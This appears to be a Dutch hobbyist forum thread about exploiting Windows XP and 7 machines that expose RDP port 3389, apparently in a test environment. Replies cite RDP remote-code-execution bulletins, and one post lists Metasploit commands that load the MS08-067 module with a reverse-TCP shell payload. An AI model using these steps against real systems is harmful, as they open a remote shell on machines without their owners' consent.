Windows XP, 7 of 10 exploiteren met open 3389 poort?

[Verwijderd]

Dag allen,

Een stomme vraag maybe.
Maar ik zit met een uitdaging.

Kun je een Windows XP, 7 of 8/10 exploiteren met een exploit, als alleen de 3889 (rdp) poort open is?

Blijft me een raadsel.
Thanks.

[Tazzy]

Hangt van het patch level af, maar zou zo even niet weten of dit in 10 bv ook kan.
Google anders ff?

[Petervanakelyen]

Ja, dat kan. Het RDP (Remote Desktop Protocol) heeft al een aantal RCE (Remote Code Execution) exploits gezien, oa MS12-020 en MS15-067. Of dat ook in praktijk te exploiten valt hangt natuurlijk af van je testomgeving.

[Verwijderd]

Hartelijk dank heren.
Heb standaard Windows XP.

En Win 7 x64 ENG zonder ServicePack.

[Peetz0r]

Windows XP zeg je?

Ga er maar vanuit dat Windows XP sowieso te exploiten valt, ongeacht of je poort 3389 (of welke dan ook) open hebt staan.

[.Maarten]

En voor w7 zonder sp vast ook wel

[Verwijderd]

Peetz0r schreef op vrijdag 23 september 2016 @ 21:39:
Windows XP zeg je?

Ga er maar vanuit dat Windows XP sowieso te exploiten valt, ongeacht of je poort 3389 (of welke dan ook) open hebt staan.

Nou, ik heb de hoop bijna verloren.
Het lukt mij gewoon niet.

use windows/smb/ms08_067_netapi
en dan payload kiezen

set payload windows/shell/reverse_tcp

set LHOST (dus mijn locale ip, voorheen gecheckt met command ifconfig).
Dan set RHOST

run (of exploit).
maar werkt niet.

[Peetz0r]

MS08-067 is een vulnerability uit 2008. Windows XP is end-on-life sinds 2014. Deze is dus gewoon gepatcht in een of andere update van jaren terug.

Probeer eens vulnerabilities van na april 2014. Check ook voor vulnerabilities die aanwezig zijn in XP (en 7, 8 en 10), maar alleen gepatcht zijn in Windows 7 en 8 en 10, en dus niet in XP.